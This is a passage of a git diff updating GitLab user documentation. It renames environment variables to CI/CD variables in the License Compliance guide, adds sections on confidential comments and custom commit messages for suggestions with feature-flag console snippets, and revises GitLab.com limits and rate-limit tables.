**Kubernetes** page. 1. Click on the **Environments** tab. diff --git a/doc/user/clusters/img/kubernetes-agent-ui-list_v13_8.png b/doc/user/clusters/img/kubernetes-agent-ui-list_v13_8.png Binary files differnew file mode 100644 index 00000000000..3f9cc41838a --- /dev/null +++ b/doc/user/clusters/img/kubernetes-agent-ui-list_v13_8.png diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md index 55f507fb318..ef1b3ce44f2 100644 --- a/doc/user/clusters/management_project.md +++ b/doc/user/clusters/management_project.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Cluster management project +# Cluster management project **(FREE)** WARNING: This is an _alpha_ feature, and it is subject to change at any time without diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index 1428a0d4e80..74c608fcc38 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -58,7 +58,7 @@ Java 8 and Gradle 1.x projects are not supported. The minimum supported version | JavaScript | [Bower](https://bower.io/), [npm](https://www.npmjs.com/) | | | Go | [Godep](https://github.com/tools/godep), [go mod](https://github.com/golang/go/wiki/Modules) | | | Java | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | | -| .NET | [Nuget](https://www.nuget.org/) | The .NET Framework is supported via the [mono project](https://www.mono-project.com/). There are, however, some limitations. The scanner doesn't support Windows-specific dependencies and doesn't report dependencies of your project's listed dependencies. Also, the scanner always marks detected licenses for all dependencies as `unknown`. | +| .NET | [NuGet](https://www.nuget.org/) | The .NET Framework is supported via the [mono project](https://www.mono-project.com/). There are, however, some limitations. The scanner doesn't support Windows-specific dependencies and doesn't report dependencies of your project's listed dependencies. Also, the scanner always marks detected licenses for all dependencies as `unknown`. | | Python | [pip](https://pip.pypa.io/en/stable/) | Python is supported through [requirements.txt](https://pip.pypa.io/en/stable/user_guide/#requirements-files) and [Pipfile.lock](https://github.com/pypa/pipfile#pipfilelock). | | Ruby | [gem](https://rubygems.org/) | | @@ -70,7 +70,7 @@ The reported licenses might be incomplete or inaccurate. | Language | Package managers | |------------|---------------------------------------------------------------------------------------------------------------| | JavaScript | [Yarn](https://yarnpkg.com/) | -| Go | go get, gvt, glide, dep, trash, govendor | +| Go | `go get`, `gvt`, `glide`, `dep`, `trash`, `govendor` | | Erlang | [Rebar](https://www.rebar3.org/) | | Objective-C, Swift | [Carthage](https://github.com/Carthage/Carthage), [CocoaPods](https://cocoapods.org/) v0.39 and below | | Elixir | [Mix](https://elixir-lang.org/getting-started/mix-otp/introduction-to-mix.html) | @@ -118,7 +118,7 @@ always take the latest License Compliance artifact available. Behind the scenes, [GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder) is used to detect the languages/frameworks and in turn analyzes the licenses. -The License Compliance settings can be changed through [environment variables](#available-variables) by using the +The License Compliance settings can be changed through [CI/CD variables](#available-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. ### When License Compliance runs @@ -128,20 +128,20 @@ wait for other stages to complete. ### Available variables -License Compliance can be configured using environment variables. +License Compliance can be configured using CI/CD variables. -| Environment variable | Required | Description | +| CI/CD variable | Required | Description | |-----------------------------|----------|-------------| -| `ADDITIONAL_CA_CERT_BUNDLE` | no | Bundle of trusted CA certificates (currently supported in Pip, Pipenv, Maven, Gradle, Yarn, and NPM projects). | +| `ADDITIONAL_CA_CERT_BUNDLE` | no | Bundle of trusted CA certificates (currently supported in Pip, Pipenv, Maven, Gradle, Yarn, and npm projects). | | `ASDF_JAVA_VERSION` | no | Version of Java to use for the scan. | | `ASDF_NODEJS_VERSION` | no | Version of Node.js to use for the scan. | | `ASDF_PYTHON_VERSION` | no | Version of Python to use for the scan. | | `ASDF_RUBY_VERSION` | no | Version of Ruby to use for the scan. | -| `GRADLE_CLI_OPTS` | no | Additional arguments for the gradle executable. If not supplied, defaults to `--exclude-task=test`. | +| `GRADLE_CLI_OPTS` | no | Additional arguments for the Gradle executable. If not supplied, defaults to `--exclude-task=test`. | | `LICENSE_FINDER_CLI_OPTS` | no | Additional arguments for the `license_finder` executable. For example, if you have multiple projects in nested directories, you can update your `.gitlab-ci-yml` template to specify a recursive scan, like `LICENSE_FINDER_CLI_OPTS: '--recursive'`. | | `LM_JAVA_VERSION` | no | Version of Java. If set to `11`, Maven and Gradle use Java 11 instead of Java 8. | | `LM_PYTHON_VERSION` | no | Version of Python. If set to `3`, dependencies are installed using Python 3 instead of Python 2.7. | -| `MAVEN_CLI_OPTS` | no | Additional arguments for the mvn executable. If not supplied, defaults to `-DskipTests`. | +| `MAVEN_CLI_OPTS` | no | Additional arguments for the `mvn` executable. If not supplied, defaults to `-DskipTests`. | | `PIP_INDEX_URL` | no | Base URL of Python Package Index (default: `https://pypi.org/simple/`). | | `SECURE_ANALYZERS_PREFIX` | no | Set the Docker registry base address to download the analyzer from. | | `SETUP_CMD` | no | Custom setup for the dependency installation (experimental). | @@ -154,7 +154,7 @@ The `license_management` image already embeds many auto-detection scripts, langu and packages. Nevertheless, it's almost impossible to cover all cases for all projects. That's why sometimes it's necessary to install extra packages, or to have extra steps in the project automated setup, like the download and installation of a certificate. -For that, a `LICENSE_MANAGEMENT_SETUP_CMD` environment variable can be passed to the container, +For that, a `LICENSE_MANAGEMENT_SETUP_CMD` CI/CD variable can be passed to the container, with the required commands to run before the license detection. If present, this variable overrides the setup step necessary to install all the packages @@ -195,7 +195,7 @@ license_scanning: ### Configuring Maven projects -The License Compliance tool provides a `MAVEN_CLI_OPTS` environment variable which can hold +The License Compliance tool provides a `MAVEN_CLI_OPTS` CI/CD variable which can hold the command line arguments to pass to the `mvn install` command which is executed under the hood. Feel free to use it for the customization of Maven execution. For example: @@ -217,12 +217,12 @@ to explicitly add `-DskipTests` to your options. If you still need to run tests during `mvn install`, add `-DskipTests=false` to `MAVEN_CLI_OPTS`. -#### Using private Maven repos +#### Using private Maven repositories If you have a private Maven repository which requires login credentials, -you can use the `MAVEN_CLI_OPTS` environment variable. +you can use the `MAVEN_CLI_OPTS` CI/CD variable. -Read more on [how to use private Maven repos](../../application_security/index.md#using-private-maven-repos). +Read more on [how to use private Maven repositories](../../application_security/index.md#using-private-maven-repositories). You can also use `MAVEN_CLI_OPTS` to connect to a trusted Maven repository that uses a self-signed or internally trusted certificate. For example: @@ -248,7 +248,7 @@ generate a key store file, see the License Compliance uses Python 3.8 and pip 19.1 by default. If your project requires Python 2, you can switch to Python 2.7 and pip 10.0 -by setting the `LM_PYTHON_VERSION` environment variable to `2`. +by setting the `LM_PYTHON_VERSION` CI/CD variable to `2`. ```yaml include: @@ -262,21 +262,21 @@ license_scanning: ### Custom root certificates for Python You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). -#### Using private Python repos +#### Using private Python repositories -If you have a private Python repository you can use the `PIP_INDEX_URL` [environment variable](#available-variables) +If you have a private Python repository you can use the `PIP_INDEX_URL` [CI/CD variable](#available-variables) to specify its location. -### Configuring NPM projects +### Configuring npm projects -You can configure NPM projects by using an [`.npmrc`](https://docs.npmjs.com/configuring-npm/npmrc.html/) +You can configure npm projects by using an [`.npmrc`](https://docs.npmjs.com/configuring-npm/npmrc.html/) file. -#### Using private NPM registries +#### Using private npm registries -If you have a private NPM registry you can use the +If you have a private npm registry you can use the [`registry`](https://docs.npmjs.com/using-npm/config/#registry) setting to specify its location. @@ -286,10 +286,10 @@ For example: registry = https://npm.example.com ``` -#### Custom root certificates for NPM +#### Custom root certificates for npm You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). To disable TLS verification you can provide the [`strict-ssl`](https://docs.npmjs.com/using-npm/config/#strict-ssl) setting. @@ -320,7 +320,7 @@ npmRegistryServer: "https://npm.example.com" #### Custom root certificates for Yarn You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). ### Configuring Bower projects @@ -344,7 +344,7 @@ For example: #### Custom root certificates for Bower You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), or by +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by specifying a `ca` setting in a [`.bowerrc`](https://bower.io/docs/config/#bowerrc-specification) file. @@ -365,9 +365,9 @@ source "https://gems.example.com" #### Custom root certificates for Bundler You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), or by +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html) -[environment variable](../../../ci/variables/README.md#custom-environment-variables) +[variable](../../../ci/variables/README.md#custom-cicd-variables) in the job definition. ### Configuring Cargo projects @@ -389,9 +389,9 @@ my-registry = { index = "https://my-intranet:8080/git/index" } To supply a custom root certificate to complete TLS verification, do one of the following: -- Use the `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables). +- Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). - Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html) - [environment variable](../../../ci/variables/README.md#custom-environment-variables) + [variable](../../../ci/variables/README.md#custom-cicd-variables) in the job definition. ### Configuring Composer projects @@ -422,9 +422,9 @@ For example: #### Custom root certificates for Composer You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), or by +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile) -[environment variable](../../../ci/variables/README.md#custom-environment-variables) +[variable](../../../ci/variables/README.md#custom-cicd-variables) in the job definition. ### Configuring Conan projects @@ -487,7 +487,7 @@ example: } ``` -If credentials are required to authenticate then you can configure a [protected variable](../../../ci/variables/README.md#protect-a-custom-variable) +If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-custom-variable) following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name). #### Custom root certificates for Conan @@ -496,14 +496,14 @@ You can provide custom certificates by adding a `.conan/cacert.pem` file to the setting [`CA_CERT_PATH`](https://docs.conan.io/en/latest/reference/env_vars.html#conan-cacert-path) to `.conan/cacert.pem`. -If you specify the `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), this +If you specify the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), this variable's X.509 certificates are installed in the Docker image's default trust store and Conan is configured to use this as the default `CA_CERT_PATH`. ### Configuring Go projects To configure [Go modules](https://github.com/golang/go/wiki/Modules) -based projects, specify [environment variables](https://golang.org/pkg/cmd/go/#hdr-Environment_variables) +based projects, specify [CI/CD variables](https://golang.org/pkg/cmd/go/#hdr-Environment_variables) in the `license_scanning` job's [variables](#available-variables) section in `.gitlab-ci.yml`. If a project has [vendored](https://golang.org/pkg/cmd/go/#hdr-Vendor_Directories) its modules, @@ -553,18 +553,18 @@ For example: #### Custom root certificates for NuGet You can supply a custom root certificate to complete TLS verification by using the -`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables). +`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables). ### Migration from `license_management` to `license_scanning` In GitLab 12.8 a new name for `license_management` job was introduced. This change was made to improve clarity around the purpose of the scan, which is to scan and collect the types of licenses present in a projects dependencies. GitLab 13.0 drops support for `license_management`. If you're using a custom setup for License Compliance, you're required -to update your CI config accordingly: +to update your CI configuration accordingly: 1. Change the CI template to `License-Scanning.gitlab-ci.yml`. 1. Change the job name to `license_scanning` (if you mention it in `.gitlab-ci.yml`). -1. Change the artifact name to `license_scanning`, and the file name to `gl-license-scanning-report.json` (if you mention it in `.gitlab-ci.yml`). +1. Change the artifact name to `license_scanning`, and the filename to `gl-license-scanning-report.json` (if you mention it in `.gitlab-ci.yml`). For example, the following `.gitlab-ci.yml`: @@ -640,7 +640,7 @@ For details on saving and transporting Docker images as a file, see Docker's doc [`docker save`](https://docs.docker.com/engine/reference/commandline/save/), [`docker load`](https://docs.docker.com/engine/reference/commandline/load/), [`docker export`](https://docs.docker.com/engine/reference/commandline/export/), and [`docker import`](https://docs.docker.com/engine/reference/commandline/import/). -### Set License Compliance CI job variables to use local License Compliance analyzers +### Set License Compliance CI/CD variables to use local License Compliance analyzers Add the following configuration to your `.gitlab-ci.yml` file. You must replace `image` to refer to the License Compliance Docker image hosted on your local Docker container registry: @@ -657,15 +657,16 @@ license_scanning: The License Compliance job should now use local copies of the License Compliance analyzers to scan your code and generate security reports, without requiring internet access. -Additional configuration may be needed for connecting to -[private Bower registries](#using-private-bower-registries), -[private Bundler registries](#using-private-bundler-registries), -[private Conan registries](#using-private-bower-registries), -[private Go registries](#using-private-go-registries), -[private Maven repositories](#using-private-maven-repos), -[private NPM registries](#using-private-npm-registries), -[private Python repositories](#using-private-python-repos), -and [private Yarn registries](#using-private-yarn-registries). +Additional configuration may be needed for connecting to private registries for: + +- [Bower](#using-private-bower-registries), +- [Bundler](#using-private-bundler-registries), +- [Conan](#using-private-bower-registries), +- [Go](#using-private-go-registries), +- [Maven repositories](#using-private-maven-repositories), +- [npm](#using-private-npm-registries), +- [Python repositories](#using-private-python-repositories), +- [Yarn](#using-private-yarn-registries). ### SPDX license list name matching @@ -776,7 +777,7 @@ nodejs 12.16.3 ruby 2.7.2 ``` -The next example shows how to activate the same versions of the tools mentioned above by using environment variables defined in your +The next example shows how to activate the same versions of the tools mentioned above by using CI/CD variables defined in your project's `.gitlab-ci.yml` file. ```yaml @@ -789,7 +790,7 @@ license_scanning: ASDF_RUBY_VERSION: '2.7.2' ``` -A full list of variables can be found in [environment variables](#available-variables). +A full list of variables can be found in [CI/CD variables](#available-variables). To find out what tools are pre-installed in the `license_scanning` Docker image use the following command: diff --git a/doc/user/discussions/img/apply_suggestion_v12_7.png b/doc/user/discussions/img/apply_suggestion_v12_7.png Binary files differdeleted file mode 100644 index c8c44149fd0..00000000000 --- a/doc/user/discussions/img/apply_suggestion_v12_7.png +++ /dev/null diff --git a/doc/user/discussions/img/apply_suggestion_v13_9.png b/doc/user/discussions/img/apply_suggestion_v13_9.png Binary files differnew file mode 100644 index 00000000000..e27fa629672 --- /dev/null +++ b/doc/user/discussions/img/apply_suggestion_v13_9.png diff --git a/doc/user/discussions/img/confidential_comments_v13_9.png b/doc/user/discussions/img/confidential_comments_v13_9.png Binary files differnew file mode 100644 index 00000000000..b5be5a622a9 --- /dev/null +++ b/doc/user/discussions/img/confidential_comments_v13_9.png diff --git a/doc/user/discussions/img/custom_commit_v13_9.png b/doc/user/discussions/img/custom_commit_v13_9.png Binary files differnew file mode 100644 index 00000000000..170c04542dd --- /dev/null +++ b/doc/user/discussions/img/custom_commit_v13_9.png diff --git a/doc/user/discussions/img/make_suggestion_v12_7.png b/doc/user/discussions/img/make_suggestion_v12_7.png Binary files differdeleted file mode 100644 index 7eb84186b0a..00000000000 --- a/doc/user/discussions/img/make_suggestion_v12_7.png +++ /dev/null diff --git a/doc/user/discussions/img/make_suggestion_v13_9.png b/doc/user/discussions/img/make_suggestion_v13_9.png Binary files differnew file mode 100644 index 00000000000..92d5ba5ddda --- /dev/null +++ b/doc/user/discussions/img/make_suggestion_v13_9.png diff --git a/doc/user/discussions/img/resolve_thread_open_issue.png b/doc/user/discussions/img/resolve_thread_open_issue.png Binary files differdeleted file mode 100644 index 2dd4ea3cb1b..00000000000 --- a/doc/user/discussions/img/resolve_thread_open_issue.png +++ /dev/null diff --git a/doc/user/discussions/img/resolve_thread_open_issue_v13_9.png b/doc/user/discussions/img/resolve_thread_open_issue_v13_9.png Binary files differnew file mode 100644 index 00000000000..8ff0f5e84dd --- /dev/null +++ b/doc/user/discussions/img/resolve_thread_open_issue_v13_9.png diff --git a/doc/user/discussions/img/suggestion_button_v12_7.png b/doc/user/discussions/img/suggestion_button_v12_7.png Binary files differdeleted file mode 100644 index 3b7a4d625a3..00000000000 --- a/doc/user/discussions/img/suggestion_button_v12_7.png +++ /dev/null diff --git a/doc/user/discussions/img/suggestion_button_v13_9.png b/doc/user/discussions/img/suggestion_button_v13_9.png Binary files differnew file mode 100644 index 00000000000..58e0508d8cf --- /dev/null +++ b/doc/user/discussions/img/suggestion_button_v13_9.png diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md index bf3e907bd24..9320dbba1b8 100644 --- a/doc/user/discussions/index.md +++ b/doc/user/discussions/index.md @@ -5,14 +5,14 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Threads +# Threads **(FREE)** -The ability to contribute conversationally is offered throughout GitLab. +GitLab encourages communication through comments, threads, and suggestions. -You can leave a comment in the following places: +For example, you can create a comment in the following places: - Issues -- Epics **(ULTIMATE)** +- Epics - Merge requests - Snippets - Commits @@ -44,7 +44,7 @@ Thread resolution helps keep track of progress during planning or code review. Every standard comment or thread in merge requests, commits, commit diffs, and snippets is initially displayed as unresolved. They can then be individually resolved by anyone with at least Developer access to the project or by the author of the change being reviewed. -If the thread has been resolved and a non-member unresolves their own response, +If the thread has been resolved and a non-member un-resolves their own response, this will also unresolve the discussion thread. If the non-member then resolves this same response, this will resolve the discussion thread. @@ -115,7 +115,7 @@ are resolved](#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolve there will be an **open an issue to resolve them later** link in the merge request widget. - + This will prepare an issue with its content referring to the merge request and the unresolved threads. @@ -161,7 +161,7 @@ box and hit **Save** for the changes to take effect. From now on, you will not be able to merge from the UI until all threads are resolved. - + ### Automatically resolve merge request diff threads when they become outdated @@ -281,10 +281,27 @@ edit existing comments. Non-team members are restricted from adding or editing c Additionally, locked issues and merge requests can not be reopened. +## Confidential Comments + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207473) in GitLab 13.9. +> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +When creating a comment, you can decide to make it visible only to the project members (users with Reporter and higher permissions). + +To create a confidential comment, select the **Make this comment confidential** checkbox before you submit it. + + + ## Merge Request Reviews > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4213) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.4. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/28154) to GitLab Core in 13.1. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/28154) to GitLab Free in 13.1. When looking at a Merge Request diff, you are able to start a review. This allows you to create comments inside a Merge Request that are **only visible to you** until published, @@ -370,13 +387,18 @@ From a merge request's **Discussion** tab, or from an epic/issue overview, find  -Once you select one of the filters in a given issue or MR, GitLab will save +After you select one of the filters in a given issue or MR, GitLab will save your preference, so that it will persist when you visit the same page again from any device you're logged into. ## Suggest Changes -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/18008) in GitLab 11.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/18008) in GitLab 11.6. +> - Custom commit messages for suggestions was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25381) in GitLab 13.9. +> - Custom commit messages for suggestions was deployed behind a [feature flag](../feature_flags.md), disabled by default. +> - Custom commit messages for suggestions became enabled by default on GitLab 13.9. +> - Custom commit messages for suggestions is enabled on GitLab.com and is recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disabled it](#enable-or-disable-custom-commit-messages-for-suggestions). **(FREE SELF)** As a reviewer, you're able to suggest code changes with a simple Markdown syntax in Merge Request Diff threads. Then, the @@ -388,20 +410,27 @@ the merge request authored by the user that applied them. 1. Choose a line of code to be changed, add a new comment, then click on the **Insert suggestion** icon in the toolbar: -  +  1. In the comment, add your suggestion to the pre-populated code block: -  +  1. Click either **Start a review** or **Add to review** to add your comment to a [review](#merge-request-reviews), or **Add comment now** to add the comment to the thread immediately. The Suggestion in the comment can be applied by the merge request author directly from the merge request: -  +  + +1. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25381) in GitLab 13.9, + you can opt to add a custom commit message to describe your change. If you don't + specify it, the default commit message will be used. Note that [this feature may not be available to you](#enable-or-disable-custom-commit-messages-for-suggestions). + Also, it is not supported for [batch suggestions](#batch-suggestions). -Once the author applies a Suggestion, it will be marked with the **Applied** label, +  + +After the author applies a Suggestion, it will be marked with the **Applied** label, the thread will be automatically resolved, and GitLab will create a new commit and push the suggested change directly into the codebase in the merge request's branch. [Developer permission](../permissions.md) is required to do so. @@ -501,27 +530,6 @@ to your branch to address your reviewers' requests.  -#### Enable or disable Batch Suggestions **(CORE ONLY)** - -Batch Suggestions is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it for your instance. - -To enable it: - -```ruby -# Instance-wide -Feature.enable(:batch_suggestions) -``` - -To disable it: - -```ruby -# Instance-wide -Feature.disable(:batch_suggestions) -``` - ## Start a thread by replying to a standard comment > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30299) in GitLab 11.9 @@ -537,7 +545,7 @@ Clicking on the **Reply to comment** button will bring the reply area into focus  Replying to a non-thread comment will convert the non-thread comment to a -thread once the reply is submitted. This conversion is considered an edit +thread after the reply is submitted. This conversion is considered an edit to the original comment, so a note about when it was last edited will appear underneath it. This feature only exists for Issues, Merge requests, and Epics. Commits, Snippets and Merge request diff threads are @@ -554,3 +562,62 @@ In the comment, click the **More Actions** menu and click **Assign to commenting Click the button again to unassign the commenter.  + +## Enable or disable Confidential Comments **(FREE SELF)** + +Confidential Comments is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:confidential_notes) +``` + +To disable it: + +```ruby +Feature.disable(:confidential_notes) +``` + +## Enable or disable Custom commit messages for suggestions **(FREE SELF)** + +Custom commit messages for suggestions is under development but ready for production use. It is +deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it. + +To disable custom commit messages for suggestions: + +```ruby +Feature.disable(:suggestions_custom_commit) +``` + +To enable custom commit messages for suggestions: + +```ruby +Feature.enable(:suggestions_custom_commit) +``` + +## Enable or disable Batch Suggestions **(FREE SELF)** + +Batch Suggestions is +deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it for your instance. + +To enable it: + +```ruby +# Instance-wide +Feature.enable(:batch_suggestions) +``` + +To disable it: + +```ruby +# Instance-wide +Feature.disable(:batch_suggestions) +``` diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md index 9a601871349..a6be4c69f81 100644 --- a/doc/user/feature_flags.md +++ b/doc/user/feature_flags.md @@ -29,11 +29,11 @@ GitLab.com. To see the full notes: 1. Click the three-dots icon (ellipsis) to expand version history notes: -  +  1. Read the version history information: -  +  If you're a user of a GitLab self-managed instance and you want to try to use a disabled feature, you can ask a [GitLab administrator to enable it](../administration/feature_flags.md), diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md index 611c1105961..f988d825c9f 100644 --- a/doc/user/gitlab_com/index.md +++ b/doc/user/gitlab_com/index.md @@ -97,7 +97,7 @@ Any settings or feature limits not listed here are using the defaults listed in | ----------- | ----------------- | ------------- | | Artifacts maximum size (compressed) | 1G | 100M | | Artifacts [expiry time](../../ci/yaml/README.md#artifactsexpire_in) | From June 22, 2020, deleted after 30 days unless otherwise specified (artifacts created before that date have no expiry). | deleted after 30 days unless otherwise specified | -| Scheduled Pipeline Cron | `*/5 * * * *` | `19 * * * *` | +| Scheduled Pipeline Cron | `*/5 * * * *` | `3-59/10 * * * *` | | [Max jobs in active pipelines](../../administration/instance_limits.md#number-of-jobs-in-active-pipelines) | `500` for Free tier, unlimited otherwise | Unlimited | [Max CI/CD subscriptions to a project](../../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) | `2` | Unlimited | | [Max pipeline schedules in projects](../../administration/instance_limits.md#number-of-pipeline-schedules) | `10` for Free tier, `50` for all paid tiers | Unlimited | @@ -114,7 +114,7 @@ or over the repository size limit, you can [reduce your repository size with Git | Setting | GitLab.com | Default | | ----------- | ----------- | ------------- | | [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md) | 10 GB | Unlimited | -| Maximum import size | 5 GB | Unlimited | +| Maximum import size | 5 GB | Unlimited ([Modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to unlimited in GitLab 13.8. | NOTE: `git push` and GitLab project imports are limited to 5 GB per request through Cloudflare. Git LFS and imports other than a file upload are not affected by this limit. @@ -130,7 +130,7 @@ GitLab.com is fronted by Cloudflare. For incoming connections to GitLab.com you For outgoing connections from CI/CD runners we are not providing static IP addresses. All our runners are deployed into Google Cloud Platform (GCP) - any IP based firewall can be configured by looking up all -[IP address ranges or CIDR blocks for GCP](https://cloud.google.com/compute/docs/faq#where_can_i_find_product_name_short_ip_ranges). +[IP address ranges or CIDR blocks for GCP](https://cloud.google.com/compute/docs/faq#find_ip_range). ## Hostname list @@ -170,7 +170,7 @@ Linux shared runners on GitLab.com run in autoscale mode and are powered by Goog Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com. -GitLab offers Gold tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. +GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default @@ -534,14 +534,16 @@ limiting responses](#rate-limiting-responses). The following table describes the rate limits for GitLab.com, both before and after the limits change in January, 2021: -| Rate limit | Before 2021-01-18 | From 2021-01-18 | -|:--------------------------------------------------------------------------|:----------------------------|:------------------------------| -| **Protected paths** (for a given **IP address**) | **10** requests per minute | **10** requests per minute | -| **Raw endpoint** traffic (for a given **project, commit, and file path**) | **300** requests per minute | **300** requests per minute | -| **Unauthenticated** traffic (from a given **IP address**) | No specific limit | **500** requests per minute | -| **Authenticated** API traffic (for a given **user**) | No specific limit | **2,000** requests per minute | -| **Authenticated** non-API HTTP traffic (for a given **user**) | No specific limit | **1,000** requests per minute | -| **All** traffic (from a given **IP address**) | **600** requests per minute | **2,000** requests per minute | +| Rate limit | Before 2021-01-18 | From 2021-01-18 | From 2021-02-12 | +|:--------------------------------------------------------------------------|:----------------------------|:------------------------------|:------------------------------| +| **Protected paths** (for a given **IP address**) | **10** requests per minute | **10** requests per minute | **10** requests per minute | +| **Raw endpoint** traffic (for a given **project, commit, and file path**) | **300** requests per minute | **300** requests per minute | **300** requests per minute | +| **Unauthenticated** traffic (from a given **IP address**) | No specific limit | **500** requests per minute | **500** requests per minute | +| **Authenticated** API traffic (for a given **user**) | No specific limit | **2,000** requests per minute | **2,000** requests per minute | +| **Authenticated** non-API HTTP traffic (for a given **user**) | No specific limit | **1,000** requests per minute | **1,000** requests per minute | +| **All** traffic (from a given **IP address**) | **600** requests per minute | **2,000** requests per minute | **2,000** requests per minute | +| **Issue creation** | | **300** requests per minute | **300** requests per minute | +| **Note creation** (on issues and merge requests) | | **300** requests per minute | **60** requests per minute | More details are available on the rate limits for [protected paths](#protected-paths-throttle) and [raw @@ -622,13 +624,6 @@ dropped and users get To help avoid abuse, project and group imports, exports, and export downloads are rate limited. See [Project import/export rate limits](../../user/project/settings/import_export.md#rate-limits) and [Group import/export rate limits](../../user/group/settings/import_export.md#rate-limits) for details. -GitLab.com Import/Export Rate Limits are set to the default except: - -| Setting | GitLab.com | Default | -|:-------------------------------------------------|:-----------|:--------| -| Max Project Export requests per minute per user | 1 | 6 | -| Max Group Export requests per minute per user | 1 | 6 | - ### Non-configurable limits See [non-configurable limits](../../security/rate_limits.md#non-configurable-limits) for information on @@ -639,7 +634,7 @@ rate limits that are not configurable, and therefore also used on GitLab.com. We use [Fluentd](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#fluentd) to parse our logs. Fluentd sends our logs to [Stackdriver Logging](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#stackdriver) and [Cloud Pub/Sub](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#cloud-pubsub). Stackdriver is used for storing logs long-term in Google Cold Storage (GCS). 